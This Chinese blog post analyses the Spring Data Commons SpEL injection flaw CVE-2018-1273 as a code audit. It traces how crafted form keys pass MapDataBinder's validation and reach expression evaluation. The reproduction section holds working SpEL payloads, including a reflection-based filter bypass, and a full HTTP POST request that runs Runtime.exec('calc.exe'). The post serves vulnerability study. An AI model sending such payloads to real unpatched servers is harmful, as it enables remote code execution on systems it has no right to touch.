代码审计之Spring-Data-Commons-RCE

代码审计之Spring-Data-Commons-RCE

漏洞简介

Spring Data是一个用于简化数据库访问,并支持云服务的开源框架,包含Commons、Gemfire、JPA、JDBC、MongoDB等模块。此漏洞产生于Spring Data Commons组件,该组件为提供共享的基础框架,适合各个子项目使用,支持跨数据库持久化。

该漏洞的成因是当用户在项目中利用了Sprng-Data的相关Web特性对输入参数进行自动匹配时会将用户提交的form表单和key值作为SpEL的执行内容,导致SpEL表达式注入漏洞。

环境搭建

通过Git命令获取源码

1
git clone https://github.com/spring-projects/spring-data-examples/

这里由于在2.0.5版本中拒绝使用了SpEl表达式,所以需要回退到一个较早且存在漏洞的版本

1
git reset --hard ec94079b8f2b1e66414f410d89003bd333fb6e7d

漏洞分析

Spring MVC框架会处理来自前端的页面的请求,并根据请求进行数据的封装,处理前端页面的请求暂不赘述,我们现在主要探讨对数据的封装处理,因为Spring Data Commons框架在做数据封装处理的时候产生了漏洞。

由提交对比Commit信息,考研发现漏洞文件应为MapDataBinder.java中的setPropertyVlue方法,如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
public void setPropertyValue(String propertyName, @Nullable Object value) throws BeansException {
if (!this.isWritableProperty(propertyName)) {
throw new NotWritablePropertyException(this.type, propertyName);
} else {
StandardEvaluationContext context = new StandardEvaluationContext();
context.addPropertyAccessor(new MapDataBinder.MapPropertyAccessor.PropertyTraversingMapAccessor(this.type, this.conversionService));
context.setTypeConverter(new StandardTypeConverter(this.conversionService));
context.setRootObject(this.map);
Expression expression = PARSER.parseExpression(propertyName);
PropertyPath leafProperty = this.getPropertyPath(propertyName).getLeafProperty();
TypeInformation<?> owningType = leafProperty.getOwningType();
TypeInformation<?> propertyType = leafProperty.getTypeInformation();
propertyType = propertyName.endsWith("]") ? propertyType.getActualType() : propertyType;
if (propertyType != null && this.conversionRequired(value, propertyType.getType())) {
PropertyDescriptor descriptor = BeanUtils.getPropertyDescriptor(owningType.getType(), leafProperty.getSegment());
if (descriptor == null) {
throw new IllegalStateException(String.format("Couldn't find PropertyDescriptor for %s on %s!", leafProperty.getSegment(), owningType.getType()));
}

MethodParameter methodParameter = new MethodParameter(descriptor.getReadMethod(), -1);
TypeDescriptor typeDescriptor = TypeDescriptor.nested(methodParameter, 0);
if (typeDescriptor == null) {
throw new IllegalStateException(String.format("Couldn't obtain type descriptor for method parameter %s!", methodParameter));
}

value = this.conversionService.convert(value, TypeDescriptor.forObject(value), typeDescriptor);
}

expression.setValue(context, value);
}
}

该方法首先通过isWritableProperty()函数校验propertyName参数 是否为Controller设置的Form映射对象中的成员变量。

然后再实例化StandardEvaluationContext类

并通过调用PARSER.parseExpression()来设置需要解析的表达式

最后通过调用expression.setValue()对SpEL表达式进行解析

从上面我们可以知道想要执行任意SpEL表达式的话,首先就要知道isWritableProperty()方法是如何对参数进行校验的并且绕过器校验即可。

继续跟进isWritableProperty(),可以看到关键代码如下:

1
2
3
4
5
6
7
public boolean isWritableProperty(String propertyName) {
try {
return this.getPropertyPath(propertyName) != null;
} catch (PropertyReferenceException var3) {
return false;
}
}

当getPropertyPath()返回值不为NULL时,直接对其执行return操作。跟进getPropertyPath()查看其逻辑,关键代码如下:

1
2
3
4
5
private PropertyPath getPropertyPath(String propertyName) {
String plainPropertyPath = propertyName.replaceAll("\\[.*?\\]", "");
//正则匹配
return PropertyPath.from(plainPropertyPath, this.type);
}

首先将正则匹配的字符.?*\进行 替换为空 ,并判断剩下的内容是否为type的属性。这里的type则是在Controller处用到的用于接收参数的类。

所以只需要利用这个类的某个字段来构造恶意的SpEL表达式,但直接使用如下payload是没有用的:

1
T(java.lang.Runtime).getRuntime().exec('calc.exe')

由于在某些版本中添加了用来拒绝SpEL表达式的关键语句,所以需要使用反射来构造payload:

1
#this.getClass().forName("java.lang.Runtime").getRuntime().exec('calc.exe')

成功构造pyload后便可寻找漏洞触发点,并对其进行测试,经过搜索可发现ProxyingHandlerMethodArgumentResolver.java中实例化了MapDataBinder对象,并调用了bind方法,将request.getParameterMap()作为参数,从前端获取传递过来的key-value的map类型的值

漏洞复现

运行spring boot项目

浏览器访问locahost:8080/users/

输入payload

1
username%5B%23this.getClass%28%29.forName%28%22java.lang.Runtime%22%29.getRuntime%28%29.exec%28%22calc.exe%22%29%5D=xxxxxxx

构造数据请求

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
POST /users HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: UM_distinctid=17d0947f1c862-0bbd9d1b4f56ea8-4c3e217e-1fa400-17d0947f1c9407; CNZZDATA1278069914=104780330-1636529643-%7C1636540572; __51uvsct__JGjrOr2rebvP6q2a=4; __51vcke__JGjrOr2rebvP6q2a=4c5322fc-092c-5527-b2a8-79802e8249c4; __51vuft__JGjrOr2rebvP6q2a=1636538257018
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Content-Type: application/x-www-form-urlencoded
Content-Length: 123

username%5B%23this.getClass%28%29.forName%28%22java.lang.Runtime%22%29.getRuntime%28%29.exec%28%22calc.exe%22%29%5D=xxxxxxx

命令执行成功

参考链接

CVE-2018-1273分析 | 4ra1n

从CVE-2018-1273学漏洞分析 - 知乎 (zhihu.com)

从CVE-2018-1273学漏洞分析 - 云+社区 - 腾讯云 (tencent.com)

打赏
  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!
  • Copyrights © 2021-2024 John Doe
  • 访问人数: | 浏览次数:

让我给大家分享喜悦吧!

微信